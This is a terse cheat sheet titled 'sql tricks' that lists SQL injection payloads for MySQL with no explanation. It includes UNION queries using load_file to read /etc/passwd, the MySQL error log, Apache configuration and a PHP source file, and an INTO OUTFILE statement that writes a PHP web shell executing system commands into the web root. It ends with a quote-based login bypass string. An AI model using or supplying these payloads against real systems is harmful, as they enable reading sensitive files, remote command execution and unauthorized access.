sql tricks

sql tricks

select userreal from users LIMIT 1,5

select userreal from users LIMIT 1,5 UNION all select load_file('/etc/passwd')

show variables


select userreal from users LIMIT 1,5 UNION all select load_file('/var/log/mysql/error.log')
select userreal from users LIMIT 1,5 UNION all select load_file('/etc/apache2/apache2.conf')
select userreal from users LIMIT 1,5 UNION all select load_file('/etc/apache2/sites-enabled/000-default.conf')

select username from pma_recent union all select load_file('/var/www/html/users_registered.php');

SELECT '<?php echo exec("find ."); ?>' INTO OUTFILE '/var/www/html/6d57.php'

' or '1'='1' LIMIT 175, 1 --